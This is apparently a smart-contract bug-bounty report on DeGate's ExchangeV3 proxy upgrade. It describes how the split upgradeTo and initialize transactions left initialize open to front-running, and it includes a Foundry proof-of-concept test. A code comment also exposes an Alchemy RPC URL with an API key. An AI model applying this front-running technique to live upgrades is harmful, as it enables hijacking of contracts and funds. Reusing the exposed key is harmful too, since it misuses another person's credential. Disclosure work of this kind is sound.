26073 - [SC - Insight] The implementation upgrade must be done by call...
Submitted on Nov 24th 2023 at 04:30:05 UTC by @Paludo0x for Boost | DeGate
Report ID: #26073
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0x9C07A72177c5A05410cA338823e790876E79D73B#code
Impacts:
Contract fails to deliver promised returns, but doesn't lose value
Impact caused by the unintended functionality of multisig owners
Description
Bug Description
The implementation upgrade in the ExchangeV3 proxy was performed by sequentially calling:
upgradeTo
function of the proxy https://dashboard.tenderly.co/tx/mainnet/0x618d6d6bdaa4be3257aa4c695f9c10806e261f0e9759fc3133a5798fed43c062?trace=0initialize
function of the implementation https://dashboard.tenderly.co/tx/mainnet/0x3c5629d35e75eb6b1e3e17e73ea16f3638c46a120a1f31bb8988f9db89bf483a?trace=0transferOwnership
function of the implementation https://dashboard.tenderly.co/tx/mainnet/0x9e6c119e7acaa30e62ef7bc12096dc6bd74ea38b1341aa2ecaeb9092c1e37a01?trace=0claimOwnership
function of the implementation https://dashboard.tenderly.co/tx/mainnet/0x238ba9b1141f396446013989c947851eba3629e81121347f6d66f167f8823469?trace=0.2.1
The issue is that upgradeTo
and initialize
calls have been done at different blocks (respectively 18552107 and 18552108). That imply that anyone could have front run the initialize call because it is done throug fallback function of proxy contract which is permissionless.
Function initialize is the following:
function initialize(
address _loopring,
address _owner,
bytes32 _genesisMerkleRoot,
bytes32 _genesisMerkleAssetRoot
)
external
override
nonReentrant
onlyWhenUninitialized
{
require(address(0) != _owner, "ZERO_ADDRESS");
owner = _owner;
state.initializeGenesisBlock(
_loopring,
_genesisMerkleRoot,
_genesisMerkleAssetRoot,
EIP712.hash(EIP712.Domain("DeGate Protocol", version(), address(this)))
);
}
So, the initialize function initializes:
the owner of the implementation (not of the proxy, which is stored in a different slot)
the loopring address
genesisMerkleRoot
genesisMerkleAssetRoot
We must consider that the upgrade function is called when the implementation is initialized for the first time or when the implementation is updated to a new version. In the last case it should be called by the multisig and the timelock after at least 45 days. Therefore, resolving the issue could take a long time and a revert of the transaction could be unnoticed.
Impact
What could be the effects of initialization by any user?
If a malicious user set up a different owner, fortunately, this can be changed by the proxy owner but at later time if the proxy owner is the Timelock.
At the moment, I canno comment the effects of initializing with counterfeit genesisMerkleRoot and genesisMerkleAssetRoot.
Eventually, in my opinion, the biggest problem is Loopring address. A malicious user could deploy a fake Loopring contract similar to the real one but with a backdoor usable by the malicious user himself. While the other initialization parameters (owner and merkle roots) would be the equivalent to the ones of the legitimate transsaction. This situation could be unnoticed by legitimate owners.
Proof of concept
The POC verifies that any user can call initialize the function after upgrading of implementation and if the same function is called by the owner afterwards it reverts because already initialized. It shall be run with foundry with the following command forge test --match-test test_initialize_frontRun --fork-url YOUR_RPC_URL --fork-block-number 18552107
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
pragma abicoder v2;
import {Test, console2} from "forge-std/Test.sol";
import {OwnedUpgradabilityProxy} from "../contracts/thirdparty/proxies/OwnedUpgradabilityProxy.sol";
import {LoopringIOExchangeOwner} from "../contracts/aux/access/LoopringIOExchangeOwner.sol";
import {ExchangeV3} from "../contracts/core/impl/ExchangeV3.sol";
import {ILoopringV3} from "../contracts/core/impl/ExchangeV3.sol";
interface IMultiSigWallet {
function removeOwner(address owner) external;
function addOwner(address owner) external;
}
contract TestPlaygorund is Test {
address constant contractsDeployer = 0xacD3A62F3eED1BfE4fF0eC8240d645c1F5477F82;
OwnedUpgradabilityProxy constant excV3ProxyInterfDeployed = OwnedUpgradabilityProxy(0x9C07A72177c5A05410cA338823e790876E79D73B);
ExchangeV3 constant excV3ProxyImplDeployed = ExchangeV3(0x9C07A72177c5A05410cA338823e790876E79D73B);
address constant anyUser = address(0xbee);
//forge test --match-test test_initialize_frontRun --fork-url https://eth-mainnet.g.alchemy.com/v2/gSyV-SZAsIZGOyq7gTEOclsvkFL3dJ94 --fork-block-number 18552107
function test_initialize_frontRun() public {
//on block 18552107 deployer account (which is actual Proxy Owner) updates implementation address to
//https://dashboard.tenderly.co/tx/mainnet/0x618d6d6bdaa4be3257aa4c695f9c10806e261f0e9759fc3133a5798fed43c062
//we fork from block 18552108, i.e. when function "initialize" is triggered
address loopring =0x9385aCd9d78dFE854c543294770d0C94c2B07EDC;
address owner = contractsDeployer;
bytes32 genesisMerkleRoot = 0x03e1788bf14436c39a3841ae888ffb3e6ec8405bc2773afa28b6d4dfc309cf19;
bytes32 genesisMerkleAssetRoot = 0x071c8b14d71d432750479f5fe6e08abe1ec04712835a83cdf84d0483b9382ae8;
//I would have loved to check the different loopring value but I'm getting stack too deep error
//(,,ILoopringV3 tempLoopring,,,,,,,,,,) = excV3ProxyImplDeployed.state();
//we verify that owner is unitialized
console2.log("Owner address before initialize", excV3ProxyImplDeployed.owner() );
//any user frontruns and call initialize, he could have changed parameters as he like
vm.startPrank(anyUser);
excV3ProxyImplDeployed.initialize(loopring, owner, genesisMerkleRoot, genesisMerkleAssetRoot);
vm.stopPrank();
console2.log("Owner address after initialize", excV3ProxyImplDeployed.owner() );
//try to call initialize function by owner
vm.startPrank(owner);
vm.expectRevert("INITIALIZED");
excV3ProxyImplDeployed.initialize(loopring, owner, genesisMerkleRoot, genesisMerkleAssetRoot);
vm.stopPrank();
}
}
Last updated
Was this helpful?